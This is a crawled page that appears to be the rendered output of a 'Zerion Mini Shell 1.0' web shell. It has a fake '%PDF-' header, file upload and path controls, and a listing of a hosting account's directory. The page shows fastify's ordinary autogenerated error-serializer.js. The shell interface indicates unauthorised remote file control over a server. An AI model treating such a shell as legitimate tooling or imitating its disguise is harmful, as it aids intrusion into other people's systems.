%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/fastify/lib/
Upload File :
Create Path :
Current File : //home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/fastify/lib/error-serializer.js

// This file is autogenerated by build/build-error-serializer.js, do not edit
/* c8 ignore start */

  'use strict'

  const Serializer = require('fast-json-stringify/lib/serializer')
  const serializerState = {"mode":"standalone"}
  const serializer = Serializer.restoreFromState(serializerState)

  const validator = null


  module.exports = function anonymous(validator,serializer
) {

    
const {
  asString,
  asNumber,
  asBoolean,
  asDateTime,
  asDate,
  asTime,
  asUnsafeString
} = serializer

const asInteger = serializer.asInteger.bind(serializer)


    const JSON_STR_BEGIN_OBJECT = '{'
    const JSON_STR_END_OBJECT = '}'
    const JSON_STR_BEGIN_ARRAY = '['
    const JSON_STR_END_ARRAY = ']'
    const JSON_STR_COMMA = ','
    const JSON_STR_COLONS = ':'
    const JSON_STR_QUOTE = '"'
    const JSON_STR_EMPTY_OBJECT = JSON_STR_BEGIN_OBJECT + JSON_STR_END_OBJECT
    const JSON_STR_EMPTY_ARRAY = JSON_STR_BEGIN_ARRAY + JSON_STR_END_ARRAY
    const JSON_STR_EMPTY_STRING = JSON_STR_QUOTE + JSON_STR_QUOTE
    const JSON_STR_NULL = 'null'
  
    
      // #
      function anonymous0 (input) {
        const obj = (input && typeof input.toJSON === 'function')
    ? input.toJSON()
    : input
  
        if (obj === null) return JSON_STR_EMPTY_OBJECT
        let json = ''

        json += JSON_STR_BEGIN_OBJECT
let addComma_0 = false

          const value_statusCode_1 = obj["statusCode"]
          if (value_statusCode_1 !== undefined) {
            !addComma_0 && (addComma_0 = true) || (json += JSON_STR_COMMA)
            json += "\"statusCode\":"
            json += asNumber(value_statusCode_1)
          }

          const value_code_2 = obj["code"]
          if (value_code_2 !== undefined) {
            !addComma_0 && (addComma_0 = true) || (json += JSON_STR_COMMA)
            json += "\"code\":"
            
        if (typeof value_code_2 !== 'string') {
          if (value_code_2 === null) {
            json += JSON_STR_EMPTY_STRING
          } else if (value_code_2 instanceof Date) {
            json += JSON_STR_QUOTE + value_code_2.toISOString() + JSON_STR_QUOTE
          } else if (value_code_2 instanceof RegExp) {
            json += asString(value_code_2.source)
          } else {
            json += asString(value_code_2.toString())
          }
        } else {
          json += asString(value_code_2)
        }
        
          }

          const value_error_3 = obj["error"]
          if (value_error_3 !== undefined) {
            !addComma_0 && (addComma_0 = true) || (json += JSON_STR_COMMA)
            json += "\"error\":"
            
        if (typeof value_error_3 !== 'string') {
          if (value_error_3 === null) {
            json += JSON_STR_EMPTY_STRING
          } else if (value_error_3 instanceof Date) {
            json += JSON_STR_QUOTE + value_error_3.toISOString() + JSON_STR_QUOTE
          } else if (value_error_3 instanceof RegExp) {
            json += asString(value_error_3.source)
          } else {
            json += asString(value_error_3.toString())
          }
        } else {
          json += asString(value_error_3)
        }
        
          }

          const value_message_4 = obj["message"]
          if (value_message_4 !== undefined) {
            !addComma_0 && (addComma_0 = true) || (json += JSON_STR_COMMA)
            json += "\"message\":"
            
        if (typeof value_message_4 !== 'string') {
          if (value_message_4 === null) {
            json += JSON_STR_EMPTY_STRING
          } else if (value_message_4 instanceof Date) {
            json += JSON_STR_QUOTE + value_message_4.toISOString() + JSON_STR_QUOTE
          } else if (value_message_4 instanceof RegExp) {
            json += asString(value_message_4.source)
          } else {
            json += asString(value_message_4.toString())
          }
        } else {
          json += asString(value_message_4)
        }
        
          }

    json += JSON_STR_END_OBJECT
  
        return json
      }
    
    const main = anonymous0
    return main
    
}(validator, serializer)
/* c8 ignore stop */

Zerion Mini Shell 1.0